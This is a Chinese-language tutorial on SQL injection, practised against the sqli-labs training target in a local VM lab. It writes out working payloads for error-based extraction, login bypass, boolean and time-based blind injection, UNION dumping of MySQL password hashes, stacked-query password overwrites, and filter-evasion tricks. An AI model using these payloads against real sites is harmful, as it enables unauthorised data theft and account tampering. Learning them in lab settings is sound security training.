SQL注入及实战

article/2025/10/12 5:55:24

SQL注入及实战

本文记录各种SQL注入类型的实操过程

SQL注入定义:由于程序中对用户输入检查不严格,用户可以提交一段数据库查询代码,根据程序返回的结果,获得某些他想得知的数据,这就是所谓的SQL Injection,即SQL注入

SQL注入本质:对于输入检查不充分,导致SQL语句将用户提交的非法数据当作语句的一部分来执行。

实战环境:VMware Workstations、Kali虚拟机、SQL注入测试靶机、xampp、部署sqli-labs

一. 单引号报错注入

含义:参数中加入单引号,导致sql语句单引号不能闭合,引发报错

目的:通过一种简单的方法快速检测目标系统是否存在SQL注入漏洞

  1. 通过正常访问方式查看Dumb用户的密码http://ip/sqli-labs/Less-1/?id=1

在这里插入图片描述

  1. 访问http://ip/sqli-labs/Less-1/?id=1’出现报错,说明存在漏洞(因为传入 1’ 后,SQL语句变成 select * from users where id=‘1’',导致单引号不能闭合)

在这里插入图片描述

二. 基于报错回显

显注:注入后,web界面返回指定的数据或数据库引擎报错信息,攻击者可直接从返回信息中获取到所需的数据

含义:将所需要的数据作为错误回显

自己ip:http://192.168.93.129 加上所传入的参数构成完整url,借助SQL靶机环境就可以进行验证

传入参数:/sqli-labs/Less-1/?id=1’ union select 1,updatexml(1,concat(0x7e,VERSION()),1) – 1

在这里插入图片描述

三. 万能密码登录

含义:采用or改变登录验证的逻辑,绕过密码验证

目的:在不知道密码的情况下,利用“万能密码”登录到目标系统

  1. Username 输入admin Password 随意输入,比如1,发现登录失败,结果如下

在这里插入图片描述

在这里插入图片描述

  1. 采用万能密码 传入参数passwd=1’ or username=‘admin’ – 1 发现登录成功,结果如下

    SQL语句变为:SELECT username, password FROM users WHERE username=‘admin’ and password=‘1’ or username=‘admin’ – 1’ LIMIT 0,1;

在这里插入图片描述

在这里插入图片描述

四 、盲注

盲注含义:注入后,web界面不直接返回数据库的数据,需要通过其他方式获取到数据库中的数据。盲注又分为基于时间的盲注、基于布尔的盲注、基于dnslog的盲注

1. 基于布尔的盲注

含义:查询语句中“真”和“假”返回的页面不一样,构造逻辑判断的语句,判断数据库中的数据

目的:对目标链接进行测试,加入逻辑判断语句,验证目标链接是否存在漏洞(如果存在,就可以获取其他信息,比如这里的数据库长度)

  1. 传入 /sqli-labs/Less-8/?id=1’ and 1=1 – 1 返回 you are in

在这里插入图片描述

  1. 传入 /sqli-labs/Less-8/?id=1’ and 1=2 – 1 没有返回you are in 说明存在漏洞

在这里插入图片描述

判断存在漏洞后,可以利用该漏洞来获得数据库长度,如以下3、4点:

  1. 传入 /sqli-labs/Less-8/?id=1’ and length(database())=7 – 1 测试数据库长度,没有返回you are in,说明数据库长度不是7

在这里插入图片描述

  1. /sqli-labs/Less-8/?id=1’ and length(database())=8 – 1 返回you are in,说明数据库长度为8

在这里插入图片描述

2. 基于时间的盲注

含义:构造逻辑判断加上时间延迟,根据时间延迟判断逻辑判断是否成立

目的:对目标链接进行测试,加入时间延迟语句,验证目标链接是否存在漏洞(如果存在,就可以获取其他信息,比如这里的数据库长度)

  1. 传入 /sqli-labs/Less-9/?id=1’ and sleep(3) – 1 根据有时间延迟判断存在时间盲注

SQL语句变为:SELECT * FROM users WHERE id=‘1’ and sleep(3) – 1’ LIMIT 0,1

在这里插入图片描述

  1. 传入 /sqli-labs/Less-9/?id=1’ and if(length(database())=8 ,sleep(3),true) – 1 根据有时间延迟判断数据库长度为8

在这里插入图片描述

五. 联合查询注入

含义:采用union查询,来获取其他表的信息

目的:通过联合查询,获取数据库root用户的密码hash(必须root用户,不需要解密成明文)

传入 /sqli-labs/Less-1/?id=1’ UNION (SELECT 0,User,Password FROM mysql.user) ORDER BY id; – 1

SQL语句变为:SELECT * FROM users WHERE id=‘1’ UNION (SELECT 0,User,Password FROM mysql.user) ORDER BY id; – 1’ LIMIT 0,1;

在这里插入图片描述

成功从mysql库的user表中获取到login用户的密码hash,并且能够解密出明文密码

六. 堆叠查询注入

含义:通过;符号,将多条sql语句叠加一起执行,堆叠查询注入危害更大,可以执行任何sql语句

目的:修改用户密码

传入 /sqli-labs/Less-38/?id=1’;update users set password=‘test’ where username=‘Dumb’;-- 1

SQL语句变为:SELECT * FROM users WHERE id=‘1’;update users set password=‘test’ where username=‘Dumb’;-- 1’ LIMIT 0,1

在这里插入图片描述

成功修改Dump数据库的密码为”test”

七、进阶利用(绕过)

为什么需要绕过?网站或者安全防护设备中,对传入参数进行了一些敏感字符过滤,导致无法成功注入,需要通过一些手段绕过敏感字符过滤

1. 绕过注释过滤注入

含义:对–、#字符进行了过滤,导致sql语句单引号无法闭合

传入 /sqli-labs/Less-23/?id=1’ or 1=1 – 1

那么 id=1’ or 1=1 – 1,–被过滤掉后,变成id=1’ or 1=1 1

SQL语句变为:SELECT * FROM users WHERE id=‘1’ or 1=1 1’ LIMIT 0,1 单引号没有闭合,语句执行报错

在这里插入图片描述

所以,通过手动增加单引号进行闭合,id=1’ or 1=1 or 1=’

SQL语句变为:SELECT * FROM users WHERE id=‘1’ or 1=1 or 1=‘’ LIMIT 0,1

在这里插入图片描述

2. 逻辑运算过滤绕过

含义:对and、or进行过滤,导致sql执行报错

传入 /sqli-labs/Less-25/?id=1’ or 1=1 – 1

id=1’ or 1=1 – 1过滤后变成id=1’ 1=1 – 1,运行报错

在这里插入图片描述

解决办法?将and替换成&&或者anandd,or替换成||或者oorr,可成功运行

将参数改为 id=1’ oorr 1=1 – 1 将or变成 oorr 运行成功

在这里插入图片描述

将参数改为 id=1’ || 1=1 – 1 将or变成 || 运行成功

在这里插入图片描述

3. 空格过滤绕过

含义:对空格进行过滤,导致SQL执行报错

传入 /sqli-labs/Less-26b/?id=1’ or 1=1 or 1=’

在这里插入图片描述

id=1’ or 1=1 or 1=‘过滤后变成id=1’or1=1or1=’ 导致SQL执行出错

SQL语句中制表符、新行、新页、return、()、/**/等都可以代替空格

将参数改成id=1’/*/or/*/1=1/**/or/**/1=’

在这里插入图片描述

4. union和select过滤绕过

含义:对union和select进行过滤,导致SQL执行报错

传入 /sqli-labs/Less-27b/?id=1’ UNION (SELECT 0,User,Password FROM mysql.user) ORDER BY id; – 1

在这里插入图片描述

过滤后id=1’ ( 0,User,Password FROM mysql.user) ORDER BY id; – 1

将union和select大小写混写,或双写:

将参数改为 id=1’ uNion (sElect 0,User,Password FROM mysql.user) ORDER BY id; – 1

在这里插入图片描述

将参数改为 id=1’ UNUNIONION (SESELECTLECT 0,User,Password FROM mysql.user) ORDER BY id; – 1

在这里插入图片描述
总结:学习SQL注入的各种类型(单引号报错注入、基于报错回显、万能密码登录、盲注(基于时间、基于布尔、基于DNSLOG)、联合查询、绕过(注释过滤、逻辑运算、空格过滤、union和select过滤、))以及实操。


http://chatgpt.dhexx.cn/article/Ur7ewTQ2.shtml

相关文章

web 漏洞入门之 —— SQL 注入教程

SQL 注入是最常见、最被人们熟知的 web 漏洞。根据百科的解释:所谓SQL注入,就是通过把SQL命令,插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。 比如某个公司有一个员工管理系统&#…

SQL注入基础教程

注:本篇不讲关于sql-labs的搭建,如有需要请私信我,我将会出一期详细的配置教程 SQL注入基础教程 数据库的结构注释符SQL注入之基础注入 数据库的结构 在学习数据库之前,我们首先要了解数据库的结构。 一般数据库由三个部分组成&…

SQL 注入教程:通过示例学习

数据是信息系统最重要的组成部分之一。组织使用数据库驱动的 Web 应用程序从客户那里获取数据。SQL是结构化查询语言的首字母缩写。它用于检索和操作数据库中的数据。 什么是 SQL 注入? SQL 注入是一种攻击动态 SQL 语句以注释掉语句的某些部分或附加始终为真的条…

sql注入详解

目录 前言? ? 一、漏洞原因分析 二、漏洞危害 三、sql注入防范 四、如何挖掘sql注入漏洞 五、常见的注入手法 联合查询(union注入) 报错注入 基于布尔的盲注 基于时间的盲注 HTTP头注入 宽字节注入 堆叠查询 二阶注入 六、sql注入getshell的几种方式 前言 结…

SQL注入教程

目录 基础sql语法基础注释sql注入漏洞产生的条件 sql注入的分类基于从服务器收到的响应基于数据库种类基于如何处理输入的SQL查询(数据类型)参数位置注入方法注入流程 万能密码ACCESS注入流程判断方法注入实战 MSSQL注入流程默认数据库函数注入过程 MySql注入(重头戏…

SQL注入基本教程

注:只是自己学习记录,若有不对的地方请指出,文章有过一次修改,修改了关于order by函数的知识点 个人小站 SQL注入基本教程 数据库的结构注释符SQL注入简单教程 数据库的结构 学习SQL注入首先要知道数据库的结构 数据库由三个部分…

Sql注入的入门教程

Sql注入比较常见的漏洞之一,例用程序员的漏洞来进行无账号的登陆,篡改数据库。任何客户端可控,传参数到服务端的变量,和数据库交互,都有可能存在sql注入 原理 用户通过构造sql语句来模仿服务器发向服务器的语句&…

ImageJ 插入插件和基本教程

文章目录 前言一、ImageJ的下载二、ImageJ的安装三、给ImageJ添加自定义插件四、ImageJ闪退怎么办 前言 该软件是一个使用Java语音编写的图像处理和分析软件。ImageJ基于插件架构体系设计,可以通过编写插件对其功能进行扩展 一、ImageJ的下载 这款软件是完完全全免…

FIJI (ImageJ) 图像处理合集

1.更改伪彩颜色 ImageJ可以打开CAI格式,尼康的2084的原始格式等等。 将图片直接拖拽到imageJ软件上。 会弹出一个窗口 这个窗口就是告诉我们:关于这个图像的原始格式是否需要进行设置。通常使用默认的,点击Ok。 就可以打开这个图像 如果打…

ImageJ -介绍与安装

写在开头 ImageJ,一款免费却又极其强大的图像处理软件。百科 但很不幸的是,这款软件对于电脑小白而言,可能并不容易上手。 看一下这个软件的界面就知道了。 反正我第一打开的时候就直接想关掉,这些个 icon 根本不知道干嘛的好吧…

JS操作图片的利器:Jimp VS GM

前段时间,笔者有一个项目需求,需要在一张图片上面添加文件,并另存为一张新的图片。刚开始的时候,笔者使用的是大名鼎鼎的jimp。 。 其功能能满足我的要求,而且其license是MIT,不依赖于第三方的可执行程序…

imgageJ开发【Java】

一.ImageJ简介 ImageJ是一款由NIH(National Institutes of Health,美国国家卫生研究院)发起,可用于Windows,Mac,OSX和Linux等操作系统的图像处理开元软件,ImageJ小巧,只有5MB左右,界面简洁&…

ImageIO类的使用

重点内容 (一) How to read an image from file or URL? 从本地文本读取图片 File sourceimage new File("c:\\mypic.jpg"); Image image ImageIO.read(sourceimage); 从网络上获取图片 URL url new URL("http://www.mkyong.com/image/mypic…

安装Image J 插件

1.下载imageJ,网址:https://imagej.net/Fiji/Downloads 2.解压 3.安装插件 (1)https://imagej.nih.gov/ij/plugins/index.html这个网址下载你需要的插件。打开toolsets或者tools。 ![在这里插入图片描述](https://img-blog.csd…

ImageJ工具使用简介

ImageJ工具使用简介 在以前的博文中也介绍过看Raw图的方法,自己平常也使用windows上的一些插值工具来看raw图,最近发现了一个宝贝----ImageJ,最让我惊喜的是它可以完美的在Windows以及Ubuntu中使用,避免了我抓取Raw图之后拷贝到w…

JavaSE小项目(小游戏)

JavaSE编写的小游戏 源码下载地址:https://github.com/ygsama/SmallGame 游戏名(难度) 满天星(★☆☆☆☆) 球球(★☆☆☆☆) 打字游戏(★☆☆☆☆) 汤姆猫(★★☆☆☆&#x…

JAVA小项目(6)javaSE

1 记帐本 1.1 使用技能点: 分支、循环、String的拼接 1.2 功能和效果 1.3 项目架构 public class Test {public static void main(String[] args) {while(true){System.out.println("-------欢迎使用记账系统--------");System.out.println("1.收…

java项目源码分享——适合新手练手的java项目

源码下载(实例一):jsp开发完整的博研图书馆后台管理系统,不使用框架开发的,太完美了 源码下载(实例二):javaWeb图书馆管理系统源码mysql版本 源码下载(实例三&#xff09…

java小项目 ATM机(简易版)

目录 说明 项目介绍 功能介绍 结构图 各模块代码 登录界面 服务选择界面 存取款界面 修改密码模块 转账模块 总代码 说明 简单做了一个java的ATM机项目、本项目只能作为一个简单的运行程序。因为没有学到数据库,文件等内容,没有存储功能&…